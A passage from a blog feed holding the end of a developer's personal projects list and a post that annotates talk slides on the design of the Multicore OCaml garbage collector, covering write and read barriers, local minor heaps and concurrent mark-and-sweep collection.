  <dd><strong>Sep 2017</strong> Built a home server, mostly as a HTPC but also as a learning exercise for managing services over Docker.</dd>
  <dt><a href="https://github.com/captn3m0/sushigo">Sushi Go</a></dt>
  <dd><strong>Summer 2017</strong> This is a work-in-progress conversion of Sushi Go (original), the popular card game by Gamewright into Ruby.</dd>
  <dt><a href="https://github.com/captn3m0/youtube-ripper">youtube-ripper</a></dt>
  <dd><strong>June 2017</strong> Downloads music-compilations from YouTube and rips them into multiple tagged MP3 files.</dd>
  <dt><a href="https://github.com/captn3m0/cosmere-books">cosmere-books</a></dt>
  <dd><strong>September 2017</strong> Wrote a EPUB generator for multiple books in the Cosmere. Currently covers 4 different serializations at Tor.com. Also created a project page on all of my ebooks projects at <a href="https://captnemo.in/ebooks/">/ebooks/</a></dd>
  <dt><a href="https://github.com/captn3m0/ideas">ideas</a></dt>
  <dd><strong>Ongoing</strong> I maintain a CC0 licensed list of personal ideas. Feel free to use.</dd>
  <dt><a href="https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization/">spectrumyzer</a></dt>
  <dd><strong>May 2017</strong> Created an animated wallpaper using spectrumyzer. Wrote a <a href="https://captnemo.in/blog/2017/05/01/spectrumyzer-visualization/">blog post about it</a>.</dd>
  <dt><a href="https://github.com/captn3m0/google-sre-ebook">google-sre</a></dt>
  <dd><strong>Feb/Sep 2017</strong> EPUB generator for the Google SRE ebook. Started in February in Python. Gave up and redid it properly in September.</dd>
  <dt><a href="https://github.com/captn3m0/codechef">CodeChef Offline</a></dt>
  <dd><strong>March 2012</strong> I attempted to make a offline repository for CodeChef problems. I spent some time in May 2017 upgrading the project with a cleaner scraper and a Jekyll base.</dd>
  <dt><a href="https://github.com/captn3m0/hoshruba">Hoshruba</a></dt>
  <dd><strong>June 2015</strong> I wrote a script that scraped Tor’s serialized publication of the first book in Hoshruba series to generate EPUB and MOBI files. I would recommend the book if you are interested in reading what many would term the “original fantasy book”</dd>
  <dt><a href="https://github.com/captn3m0/hackertray">HackerTray</a></dt>
  <dd><strong>December 2013 -</strong> I wrote a Linux PyGTK application that sits in your taskbar using Indicator Applet to show you the latest stories from Hacker News. Looking for a maintainer.</dd>
  <dt><a href="https://github.com/captn3m0/magicmuggle">MagicMuggle</a></dt>
  <dd><strong>May 2017</strong> I wrote a script to convert Magic Muggle (A Harry Potter fanfic about a muggle who accidentally gets into Hogwarts) books from their original reddit posts to EPUB and MOBI files.</dd>
  <dt><a href="https://github.com/captn3m0/kerala-it">Kerala IT Policy</a></dt>
  <dd><strong>March 2017</strong> Attempted to transcribe the draft IT policies put up by the Government of Kerala. Lots of OCR followed by manual fixes. I stopped working on this when I realized that the government had actually put up a really nice website for this (with clear plaintext, not the bad PDF I was using as the source).</dd>
  <dt><a href="https://lightsaber.captnemo.in">lightsaber</a></dt>
  <dd><strong>August 2015</strong> I created a DNS based HTTP-3xx redirect service. Useful if you own a domain and you want it to be redirected, but don’t have a webserver with you. Made as part of the Django Hackathon organized by HackerEarth in Ruby.</dd>
  <dt><a href="https://hackercouch.com">HackerCouch</a></dt>
  <dd><strong>November 2015</strong> My hack during hackbeach 2015. Created something best described as “couchsurfing for hackers”. Simple Jekyll/Ruby website hosted on GitHub Pages.</dd>
</dl>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[A deep dive into Multicore OCaml garbage collector]]></title>
            <link>https://kcsrk.info/multicore/gc/2017/07/06/multicore-ocaml-gc/</link>
            <guid isPermaLink="false">https://kcsrk.info/multicore/gc/2017/07/06/multicore-ocaml-gc/</guid>
            <pubDate>Thu, 06 Jul 2017 01:36:00 GMT</pubDate>
            <description><![CDATA[.annotslide{display:none}


I recently gave a talk on the internals of multicore OCaml GC at Jane Street
offices in NYC. The slides from the talk are available
online. But I felt that
the slides alone aren’t particularly edifying. This post is basically the slides
from the talk annotated with notes.
Abstract
In a mostly functional language like OCaml, it is desirable to have each domain
(our unit of parallelism) collect its own local garbage independently. Given
that OCaml is commonly used for writing latency sensitive code such as trading
systems, UIs, networked unikernels, it is also desirable to minimise the
stop-the-world phases in the GC. Although obvious, the difficulty is to make
this work in the presence of mutations and concurrency. In this talk, I will
present the overall design of Multicore OCaml GC, but also deep dive into a few
of the interesting techniques that make it work.
Slidedeck
 of 
  
  ❮ Prev
  Next ❯
  ( ← and → arrow keys also work)




  
  
Multicore OCaml project is led from OCaml Labs within the University of
Cambridge. Stephen Dolan begun the project
while procrastinating on writing up his dissertation. Hurray to that! 


 
  
fibers. The unit of
parallelism is a domain, which maps to kernel threads. Many kernel
threads may service a particular domain, but only one of those kernel threads
ever runs OCaml code. A typical program is expected to have a large number of
fibers mapped over a few domains. In this talk, I provide an overview of the
Multicore OCaml GC design, with a few deep dives into some of the interesting
and novel techniques.



  
  
roots of the program state i.e., current stack and registers, and
perform a depth-first traversal through the object graph. Any unreachable
objects are garbage and they can be reclaimed. 

Tri-colour marking is a standard marking algorithm. During marking, the objects
are in one of three states: white(unmarked), grey(marking) and black(marked). 



  
mark stack. Subsequently, objects are
popped off the mark stack, all of its white children marked, and the object is
marked black. We have the invariant that a black object does not point to a
white object. This is called the tri-colour invariant. The figure shows the
state when object A and its children have been marked (hence, A is black),
object B has been marked grey and is on the mark stack.



  
all the
allocated objects, and marks any object still white as free space that can
subsequently be reused. 



  
  
  
copying collector, and any object that survives the
minor GC is promoted to the major GC. A nice aspect of copying collection for
minor GC is that only the live objects need to be scanned, unlike mark and sweep
collection where the sweeper needs to examine every allocated object. Given the
generational hypothesis, we will not examine most of the objects in the minor
heap. As a data point, the minor GC survival rate while compiling the OCaml
compiler is around 10%.



  
  
  
  
write barrier that records such
pointers in an auxiliary data structure called the remembered set. 



  
  
  
B to the
black object C...



  
A to B.
If we perform a major GC now, 



  
A will be eventually marked as black. But
the white object B is only pointed to by
the black object C, which will not be
marked, 



  
  
  
  
B from being GCed. The insertion barrier is said to preserve
strong tri-colour invariant: A black object never points to a white
object. 



  
C to B. 



  
A to
the white B is deleted, B is marked. This prevents B from being GCed. The deletion barrier
preserves weak tri-colour invariant: for any white object pointed to by
black object, there exists some grey object from which through a series of white
objects that white object is reachable.



  
r if
both r and x are in the major heap. 



  
Domain.spawn forks off a
new domain to run the thunk in parallel with the calling domain. It is
reasonable to expect that most of the objects in the minor heap are in fact local
to the domain which allocated the object, and are never shared between domains.
Hence, it is desirable to collect each domain's young garbage independently
without having to synchronize all of the domains. 



  
  
POPL'93
paper, Doligez and Leroy built a concurrent garbage collector for concurrent
caml light which used domain local heaps. In their paper, the heap invariants
imposed are that there are no pointers between the local heaps and the major
heap does not point to any minor heaps. 



  
  
  
  
Marlow
and Peyton Jones evaluated a local heap design with similar weaker heap
invariants for GHC Haskell.



  
  
0xPQRS. In OCaml, integer values are
represented by tagging the least significant bit to be 1. Hence, in this
example, integers have low bit of S to be
1. Minor heap values have PQ to be 42, and R 
determines the domain. 

We can implement the read barrier check by comparing the given address with an
address from the minor heap. Luckily, we have such an address handily available
in the register -- the allocation pointer. On amd64, the allocation
pointer is in register r15.



  
rax register. At
the end of this sequence of instructions, if none of the enabled bits in 0xff01 are set in rax, then zero flag will be set, and we know
that the value is not a pointer into a foreign minor heap. Let's see how this
works for the different cases.



  
  
PQ bits will different between r15 and rax. Hence, zero flag will not be set.



  
PQR will be the same. Hence, the subtraction
underflows and sets all the bits in PQ.
Hence, the zero flag will not be set.



  
 
In the case of an address in foreign minor heap, the bits PQ will be the same. The bits in R will be different, and S will be zero in both values. After xoring,
R will be non-zero and importantly, the
rest of the bits are zero. Subtracting 1 from a non-zero value does not
underflow, hence the rest of the bits remain zero. Now, the zero flag will be
set after the test, and we know that the pointer is in the foreign minor heap.



  
Abstract_tag where a C library may map a C
structure onto the OCaml heap and modify it transparently without the knowledge
of the write barrier. Hence, the copies may go out of sync.



We may instead move the object to the major heap and perform a minor GC to fix
any references to the promoted objects. However, this scheme suffers from false
promotions and long pauses during reads. To avoid false promotions, we may
promote the object and scan the roots and the entire minor heap to fix any
references to promoted objects. However, one needs to scan all the objects in
the minor heap, which even the minor collection doesn't have to do.




  
  
promotion_set, which
is only scanned during the promotion process. Otherwise, we move the object
closure and perform a minor GC.



  
  
Very
Concurrent Mark-&-Sweep Garbage Collector (VCGC) design from the Inferno
project which allows the mutator, marker and the sweeper threads to run
concurrently. In VCGC design, there is a small stop-the-world phase at the end
of a cycle where the threads agree on the end of the current major GC cycle and
the beginning of the next one. Multicore OCaml's major GC is mostly concurrent
mark and sweep where the stop-the-world phase might need to do a small fraction
of major GC work left over before the end of the cycle, not unlike the VCGC
design with many mutators i.e., parallel execution.



  
Marked, Unmarked, Garbage and Free. The domains alternate between running the
mutator and performing GC work. The GC thread performs a depth-first traversal
of the heap. If it finds an Unmarked
object, it changes its colour to Marked
and pushes the object into a domain-local mark-stack. On the other hand, if it
finds a Garbage object, it marks it as
Free and adds it to the free list. Since
multiple GC threads operate on the heap simultaneously, marking is racy but
idempotent. In particular, there is no synchronization for marking the objects.



  
Unmarked is considered Garbage. Anything that is Marked becomes Unmarked for the next cycle. Garbage objects are considered Marked, but at the end of the major GC, all
Garbage objects have been marked Free. Hence, no objects fall into this
category. Anything that is marked Free
still remains Free. This concludes the
discussion on parallelism.



  
  
remembered fiber set. 



  
  
x to
r, instead of promoting fiber f, 



  
x in the remembered set.



  
f,  



  
  
  
  
  
  
Black. And in order to prevent racy
access, the fiber is locked while marking. If the GC thread holds the lock on a
fiber and a mutator tries to context switch to it, the mutator blocks until the
fiber is marked. If the GC thread loses the race, it can safely skip marking the
fiber.



  
 x.length) {slideIndex = 1}    
  if (n 

Further Reading
Multicore OCaml
    
Concurrency
        
Effective Concurrency with Algebraic Effects
Pearls of Algebraic Effects and Handlers
Examples
and more papers
Wiki
GC bibliography
    
Damien Doligez and Xavier Leroy. “A concurrent, generational garbage collector for a multithreaded implementation of ML.” POPL 1993.
Simon Marlow and Simon Peyton Jones. “Multicore garbage collection with local heaps.” ACM SIGPLAN Notices. Vol. 46. No. 11. ACM, 2011
Todd Anderson, “Optimizations in a private nursery-based garbage collector”, ISMM, 2010.
KC Sivaramakrishnan, Lukasz Ziarek, Suresh Jagannathan, “A Coherent and Managed Runtime for ML on the SCC”, MARC, 2012.
Lorenz Huelsbergen and Phil Winterbottom. “Very concurrent mark-&-sweep garbage collection without fine-grain synchronization.” ISMM 1998.
Scott Schneider, Christos D. Antonopoulos, and Dimitrios S. Nikolopoulos. “Scalable, locality-conscious multithreaded memory allocation.” ISMM 2006.]]></description>
            <content:encoded><![CDATA[

<p>I recently gave a talk on the internals of multicore OCaml GC at Jane Street
offices in NYC. The slides from the talk are available
<a href="https://speakerdeck.com/kayceesrk/multicore-ocaml-gc">online</a>. But I felt that
the slides alone aren’t particularly edifying. This post is basically the slides
from the talk annotated with notes.</p>

<!--more-->

<h2 id="abstract">Abstract</h2>

<p>In a mostly functional language like OCaml, it is desirable to have each domain
(our unit of parallelism) collect its own local garbage independently. Given
that OCaml is commonly used for writing latency sensitive code such as trading
systems, UIs, networked unikernels, it is also desirable to minimise the
stop-the-world phases in the GC. Although obvious, the difficulty is to make
this work in the presence of mutations and concurrency. In this talk, I will
present the overall design of Multicore OCaml GC, but also deep dive into a few
of the interesting techniques that make it work.</p>

<h2 id="slidedeck">Slidedeck</h2>

<p align="center">
  Slide <input type="number" id="slidenumber" min="1" /> of <span id="totalslides"></span>
  <input type="button" value="Go" onclick="currentSlide()" />
  <button onclick="deltaSlide(-1)">❮ Prev</button>
  <button onclick="deltaSlide(1)">Next ❯</button>
  ( ← and → arrow keys also work)
</p>

<div class="annotslide">

<p align="center"> <img src="https://kcsrk.info/assets/GC.001.png" border="1" alt="GC.001" width="80%" /> </p>  
Multicore OCaml project is led from OCaml Labs within the University of
Cambridge. <a href="http://stedolan.net/">Stephen Dolan</a> begun the project
while procrastinating on writing up his <a href="http://stedolan.net/research/#thesis">dissertation</a>. Hurray to that! 
</div>

<div class="annotslide"> 
<p align="center"> <img src="https://kcsrk.info/assets/GC.006.png" border="1" alt="GC.006" width="80%" /> </p>
Multicore OCaml extends OCaml with native support for concurrency and
parallelism. Unlike many other languages, we clearly separate concurrency from
parallelism in the language. Concurrency in Multicore OCaml is expressed through
lightweight language level threads called <em>fibers</em>. The unit of
parallelism is a <em>domain</em>, which maps to kernel threads. Many kernel
threads may service a particular domain, but only one of those kernel threads
ever runs OCaml code. A typical program is expected to have a large number of
fibers mapped over a few domains. In this talk, I provide an overview of the
Multicore OCaml GC design, with a few deep dives into some of the interesting
and novel techniques.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.007.png" border="1" alt="GC.007" width="80%" /> </p>

It is difficult to appreciate the subtleties of the choice of GC techniques in
isolation. So we shall begin with a sane setup - a GC for a sequential purely
functional language. We shall subsequently extend the language with series of
reprehensible extensions including mutations, parallelism and concurrency, in
that order, and observe how the sane setup falls apart and what we shall do to
recover sanity while retaining efficiency. The early parts of the talk should be
unsurprising to someone familiar with GC internals, but is useful for setting up
the latter material. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.010.png" border="1" alt="GC.010" width="80%" /> </p>

The figure shows the snapshot of the runtime state of a sequential purely
functional language. We have a set of objects allocated on the heap. These
objects may be pointed to be other heap objects as well as any of the registers
and the current runtime stack. The simplest GC strategy is to stop the program
and perform a mark-and-sweep garbage collection. The core idea is that we start
from the <em>roots</em> of the program state i.e., current stack and registers, and
perform a depth-first traversal through the object graph. Any unreachable
objects are garbage and they can be reclaimed. 

Tri-colour marking is a standard marking algorithm. During marking, the objects
are in one of three states: white(unmarked), grey(marking) and black(marked). 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.011.png" border="1" alt="GC.011" width="80%" /> </p>

At the beginning of the GC, all objects are white. The GC marks grey any white
object it finds and pushes it into the <em>mark stack</em>. Subsequently, objects are
popped off the mark stack, all of its white children marked, and the object is
marked black. We have the invariant that a black object does not point to a
white object. This is called the <em>tri-colour invariant</em>. The figure shows the
state when object <code class="highlighter-rouge">A</code> and its children have been marked (hence, <code class="highlighter-rouge">A</code> is black),
object <code class="highlighter-rouge">B</code> has been marked grey and is on the mark stack.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.012.png" border="1" alt="GC.012" width="80%" /> </p>

GC is done when the mark stack is empty. At this point, all reachable objects
are black. Any unreachable objects are white. A sweeper examines <em>all</em> the
allocated objects, and marks any object still white as free space that can
subsequently be reused. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.015.png" border="1" alt="GC.015" width="80%" /> </p>

Mark and sweep GC has several advantages. For starters, it is a very simple
algorithm as GC algorithms go. The algorithm is also naturally incremental. The
mutator (OCaml code) and the GC work can alternate between each other,
minimizing the pause times in the GC. However, the primary disadvantage with
this scheme is that one needs to maintain a free-list of objects for
allocations. While there are many algorithms to find the best place to allocate
an object, all of them have non-trivial overheads. Functional programming
languages have high rate of allocation and would benefit fast allocations.
Moreover, free-list implementations also suffer from fragmentation. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.019.png" border="1" alt="GC.019" width="80%" /> </p>

To alleviate this, functional programming languages typically implement a
generational GC. Generational hypothesis says that the young objects are far
more likely to die than older objects. To take advantage of this, the heap is
split into two -- a small minor heap, where new objects are allocated and a
larger major heap. In particular, objects in the minor heap are allocated by
bumping the frontier, leading to fast allocations. When the minor heap is full,
we garbage collect the minor heap.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.020.png" border="1" alt="GC.020" width="80%" /> </p>

Minor heap is GCed with a <em>copying collector</em>, and any object that survives the
minor GC is promoted to the major GC. A nice aspect of copying collection for
minor GC is that only the live objects need to be scanned, unlike mark and sweep
collection where the sweeper needs to examine every allocated object. Given the
generational hypothesis, we will not examine most of the objects in the minor
heap. As a data point, the minor GC survival rate while compiling the OCaml
compiler is around 10%.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.021.png" border="1" alt="GC.021" width="80%" /> </p>

The roots for the minor collection are the current stack and the live register
set. Since our language is purely functional, there will be no pointers from the
major heap to the minor heap. This is because all the objects in major heap are
older than all the objects in the minor heap. The lack of mutations mean that an
object can only point to an older object. Hence, we don't need to care about
objects in the major heap for minor collections.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.022.png" border="1" alt="GC.022" width="80%" /> </p>

With mutations, the major heap may point to the minor heap. For example, by
assigning a minor heap object to a major heap reference. We need to know these
references so that we can treat them as roots for the minor collection. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.023.png" border="1" alt="GC.023" width="80%" /> </p>

Naively, we can scan the entire major heap for every minor GC to find such
pointers. But this is impractical. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.024.png" border="1" alt="GC.024" width="80%" /> </p>

Instead, we intercept the writes with a <em>write barrier</em> that records such
pointers in an auxiliary data structure called the <em>remembered set</em>. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.025.png" border="1" alt="GC.025" width="80%" /> </p>

Remembered set holds the set of pointers from the major heap to the minor heap,
and is used as the root for minor collections. After the minor collection, the
remembered set is cleared.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.026.png" border="1" alt="GC.026" width="80%" /> </p>

Mutations breaks tri-colour invariant. Suppose our heap has these three
objects...
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.027.png" border="1" alt="GC.027" width="80%" /> </p>

and we assign the white object <code class="highlighter-rouge">B</code> to the
black object <code class="highlighter-rouge">C</code>...
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.028.png" border="1" alt="GC.028" width="80%" /> </p>

and we subsequently delete the pointer from <code class="highlighter-rouge">A</code> to <code class="highlighter-rouge">B</code>.
If we perform a major GC now, 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.029.png" border="1" alt="GC.029" width="80%" /> </p>

<code class="highlighter-rouge">A</code> will be eventually marked as black. But
the white object <code class="highlighter-rouge">B</code> is only pointed to by
the black object <code class="highlighter-rouge">C</code>, which will not be
marked, 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.030.png" border="1" alt="GC.030" width="80%" /> </p>

and the sweeper will mark it as free. This leaves the heap in an inconsistent
state.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.031.png" border="1" alt="GC.031" width="80%" /> </p>

Mutations are problematic if two conditions hold. 1. there exists a black to
white pointer and 2. all references from a grey object through a chain of white
objects to that white object is deleted. We can recover correctness if we
disallow one of these conditions.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.034.png" border="1" alt="GC.034" width="80%" /> </p>

An insertion barrier prohibits 1. Whenever a black to white pointer may be
established, the insertion barrier marks the target. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.035.png" border="1" alt="GC.035" width="80%" /> </p>

This prevents <code class="highlighter-rouge">B</code> from being GCed. The insertion barrier is said to preserve
<em>strong</em> tri-colour invariant: A black object never points to a white
object. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.038.png" border="1" alt="GC.038" width="80%" /> </p>

A deletion barrier prohibits 2. In particular, deletion barrier allows the black
to white pointer from <code class="highlighter-rouge">C</code> to <code class="highlighter-rouge">B</code>. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.039.png" border="1" alt="GC.039" width="80%" /> </p>

But when the pointer from the grey <code class="highlighter-rouge">A</code> to
the white <code class="highlighter-rouge">B</code> is deleted, <code class="highlighter-rouge">B</code> is marked. This prevents <code class="highlighter-rouge">B</code> from being GCed. The deletion barrier
preserves <em>weak</em> tri-colour invariant: for any white object pointed to by
black object, there exists some grey object from which through a series of white
objects that white object is reachable.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.040.png" border="1" alt="GC.040" width="80%" /> </p>

Deletion barrier is used by OCaml. We extend the write barrier to mark the
original object in the reference <code class="highlighter-rouge">r</code> if
both <code class="highlighter-rouge">r</code> and <code class="highlighter-rouge">x</code> are in the major heap. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.043.png" border="1" alt="GC.042" width="80%" /> </p>

Let us extend the language by adding support for parallel execution. In
Multicore OCaml, <code class="highlighter-rouge">Domain.spawn</code> forks off a
new domain to run the thunk in parallel with the calling domain. It is
reasonable to expect that most of the objects in the minor heap are in fact local
to the domain which allocated the object, and are never shared between domains.
Hence, it is desirable to collect each domain's young garbage independently
without having to synchronize all of the domains. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.044.png" border="1" alt="GC.044" width="80%" /> </p>

This can be done if the minor heap objects are only accessed by the owning
domain.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.045.png" border="1" alt="GC.045" width="80%" /> </p>

In their <a href="http://gallium.inria.fr/~xleroy/publi/concurrent-gc.pdf">POPL'93
paper</a>, Doligez and Leroy built a concurrent garbage collector for concurrent
caml light which used domain local heaps. In their paper, the heap invariants
imposed are that there are no pointers between the local heaps and the major
heap does not point to any minor heaps. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.046.png" border="1" alt="GC.046" width="80%" /> </p>
These heap invariants are enforced with the help of a write barrier that
intercepts writes, and whenever there is a pointer about to be created between
the major and a minor heap, the transitive closure of the minor heap object is
promoted to the major heap before the assignment.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.047.png" border="1" alt="GC.047" width="80%" /> </p>
The problem with this strategy is that we end up with false promotions. Consider
a work stealing queue used for sharing work among multiple domains. It is very
likely that the work-stealing queue survives the minor collection and is
promoted to the major heap. Now, whenever a domain adds work to the queue, the
work needs to be promoted to preserve the heap invariant, even though we expect
that the domain which added the work to consume it in the common case. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.049.png" border="1" alt="GC.049" width="80%" /> </p>
Hence, we relax this invariant to allow pointers from major heap to the minor.
We still do not allow pointers between minor heaps, but allow pointers from
major to minor heaps. 
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.050.png" border="1" alt="GC.050" width="80%" /> </p>
We make sure that a domain does not access objects in a foreign domain with the
help of a read barrier. The read barrier intercepts reads to mutable fields. If
the value loaded is an integer, an object in the shared heap or own minor heap,
then we let the read continue. Otherwise, we interrupt the domain which owns the
object to promote the object closure. This operation returns the new location of
the object in the major heap. This scheme ensures that the minor heaps can be
independently GCed. <a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2016/07/local-gc.pdf">Marlow
and Peyton Jones</a> evaluated a local heap design with similar weaker heap
invariants for GHC Haskell.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.054.png" border="1" alt="GC.054" width="80%" /> </p>
There is a surprisingly efficient way to implement the read barrier checks
through careful virtual memory mapping for minor heaps and a few bit twiddling
tricks. Recall that the fast path for the read barrier is the value read is
either an integer, or a shared heap value, or a value in own minor heap. Let us
assume a 16-bit address space. The minor heap are all allocated in a contiguous
power-of-2 aligned virtual memory area, where each minor heap is also a
power-of-2 aligned and sized. Not all of the virtual memory area need to be
allocated, but only needs to be reserved. In particular, we ensure that shared
heap pages are not allocated in the minor heap area.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.056.png" border="1" alt="GC.056" width="80%" /> </p>
Addresses in this 16-bit address space can be written as 4 quads <code class="highlighter-rouge">0xPQRS</code>. In OCaml, integer values are
represented by tagging the least significant bit to be 1. Hence, in this
example, integers have low bit of <code class="highlighter-rouge">S</code> to be
1. Minor heap values have <code class="highlighter-rouge">PQ</code> to be <code class="highlighter-rouge">42</code>, and <code class="highlighter-rouge">R</code> 
determines the domain. 

We can implement the read barrier check by comparing the given address with an
address from the minor heap. Luckily, we have such an address handily available
in the register -- the <em>allocation pointer</em>. On amd64, the allocation
pointer is in register <code class="highlighter-rouge">r15</code>.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.057.png" border="1" alt="GC.057" width="80%" /> </p>
Here is our read barrier implementation for amd64 architecture. Assume that the
value of interest is in <code class="highlighter-rouge">rax</code> register. At
the end of this sequence of instructions, if none of the enabled bits in <code class="highlighter-rouge">0xff01</code> are set in <code class="highlighter-rouge">rax</code>, then zero flag will be set, and we know
that the value is not a pointer into a foreign minor heap. Let's see how this
works for the different cases.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.058.png" border="1" alt="GC.058" width="80%" /> </p>
In the case, of integer, the least significant bit remains set, and hence zero
flag will not be set. We are safe to read this value.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.059.png" border="1" alt="GC.059" width="80%" /> </p>
In the case of a shared heap address, the <code class="highlighter-rouge">PQ</code> bits will different between <code class="highlighter-rouge">r15</code> and <code class="highlighter-rouge">rax</code>. Hence, zero flag will not be set.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.061.png" border="1" alt="GC.061" width="80%" /> </p>
In the case of an address in own minor heap, the bits <code class="highlighter-rouge">PQR</code> will be the same. Hence, the subtraction
underflows and sets all the bits in <code class="highlighter-rouge">PQ</code>.
Hence, the zero flag will not be set.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.062.png" border="1" alt="GC.062" width="80%" /> </p> 
In the case of an address in foreign minor heap, the bits <code class="highlighter-rouge">PQ</code> will be the same. The bits in <code class="highlighter-rouge">R</code> will be different, and <code class="highlighter-rouge">S</code> will be zero in both values. After xoring,
<code class="highlighter-rouge">R</code> will be non-zero and importantly, the
rest of the bits are zero. Subtracting 1 from a non-zero value does not
underflow, hence the rest of the bits remain zero. Now, the zero flag will be
set after the test, and we know that the pointer is in the foreign minor heap.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.065.png" border="1" alt="GC.065" width="80%" /> </p>
<p>
We now have an efficient way to find out whether we need to promote. But how do
we perform the promotion on a read fault? The general strategy is to interrupt
the foreign domain to perform the promotion for us. There are several
alternatives here. 
</p>

<p>
On receiving the interrupt, the foreign domain may copy the objects from its
minor heap to the major heap. While this strategy works for immutable objects,
mutable objects which are copied should somehow be kept in sync on updates. This
gets tricky especially with relaxed memory behaviours observed on modern
multicore hardware. Moreover, this scheme breaks OCaml objects with <code class="highlighter-rouge">Abstract_tag</code> where a C library may map a C
structure onto the OCaml heap and modify it transparently without the knowledge
of the write barrier. Hence, the copies may go out of sync.
</p>

<p>
We may instead move the object to the major heap and perform a minor GC to fix
any references to the promoted objects. However, this scheme suffers from false
promotions and long pauses during reads. To avoid false promotions, we may
promote the object and scan the roots and the entire minor heap to fix any
references to promoted objects. However, one needs to scan all the objects in
the minor heap, which even the minor collection doesn't have to do.
</p>
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.067.png" border="1" alt="GC.067" width="80%" /> </p>
We make the observation that most objects promoted on read faults happen to be
recently allocated. The reason being that such objects are messages placed into
channels where there is a waiting receiver on the other domain which can consume
the message immediately. In our experiments on a small corpus of parallel OCaml
programs, we found that 95% of objects promoted on read fault are among the
youngest 5%. To make use of this fact, we combine the solutions 2 and 3 from
above.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.071.png" border="1" alt="GC.071" width="80%" /> </p>
If the objected to be promoted on read fault is among the youngest x% (in the
current implementation x = 10, but can be dynamically chosen), then we move the
transitive object closure to the major heap. We may have extant pointers into
the promoted objects. We need to fix those pointers such that they point to the
new location of these objects in the major heap. In particular, the pointers may
be found in the roots, objects younger than promoted object in the minor heap,
and older minor objects that point to younger minor objects due to mutations of
older objects. For the latter, we extend the write barrier to record such minor
to minor pointers in <code class="highlighter-rouge">promotion_set</code>, which
is only scanned during the promotion process. Otherwise, we move the object
closure and perform a minor GC.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.073.png" border="1" alt="GC.073" width="80%" /> </p>
That resolves the major pain points in the interaction of parallelism with minor
GC and promotion. The next is the interplay between parallelism and major GC.
Recall that OCaml's major GC is incremental -- the mutator and the GC (mark and
sweep) take turns to run. If we were to extend the scheme naively to parallel
execution, we would have a stop-the-world incremental collector, where all the
domains have to synchronize for GC work. This would introduce significant
latency overheads. Instead, we go for a concurrent collector design where the
mutator and the GC thread can run in parallel.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.076.png" border="1" alt="GC.076" width="80%" /> </p>
Our design is based on the <a href="http://doc.cat-v.org/inferno/concurrent_gc/concurrent_gc.pdf">Very
Concurrent Mark-&amp;-Sweep Garbage Collector (VCGC)</a> design from the Inferno
project which allows the mutator, marker and the sweeper threads to run
concurrently. In VCGC design, there is a small stop-the-world phase at the end
of a cycle where the threads agree on the end of the current major GC cycle and
the beginning of the next one. Multicore OCaml's major GC is mostly concurrent
mark and sweep where the stop-the-world phase might need to do a small fraction
of major GC work left over before the end of the cycle, not unlike the VCGC
design with many mutators i.e., parallel execution.
</div>

<div class="annotslide">
<p align="center"> <img src="https://kcsrk.info/assets/GC.080.png" border="1" alt="GC.080" width="80%" /> </p>
